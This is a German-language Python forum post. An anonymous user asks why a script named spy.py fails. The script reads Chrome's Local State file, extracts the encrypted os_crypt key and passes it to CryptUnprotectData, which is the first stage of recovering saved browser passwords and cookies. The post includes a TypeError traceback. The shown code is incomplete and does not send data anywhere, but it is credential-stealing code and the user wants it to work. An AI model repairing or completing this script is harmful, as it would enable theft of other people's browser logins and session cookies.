Egal was ich tue, dieser Fehler wird nicht verschwindenPython

Python-Programme
Anonymous
 Egal was ich tue, dieser Fehler wird nicht verschwinden

Post by Anonymous »

weiß jemand, was mit diesem Code los ist?

Code: Select all

import os
import json
import base64
import sqlite3
import shutil
import win32crypt
from Crypto.Cipher import AES

file_path = os.environ["USERPROFILE"] + r"\AppData\Local\Google\Chrome\User Data\Local State"
print(file_path)

with open(file_path, 'r', encoding="utf8") as f:
json_data = f.read()
py_data = json.loads(json_data)

encryption_key = base64.b64decode(py_data["os_crypt"]["encrypted_key"])[5:]

key = win32crypt.CryptUnprotectData(encryption_key)
print(key)
< /code>
Fehler: < /p>
Traceback (most recent call last):
File "P:\PycharmProjects\Exercises\spy\spy.py", line 72, in 
key = win32crypt.CryptUnprotectData(encryption_key)
TypeError: CryptUnprotectData() takes no arguments

Quick Reply

Change Text Case: 
   
  • Similar Topics
    Replies
    Views
    Last post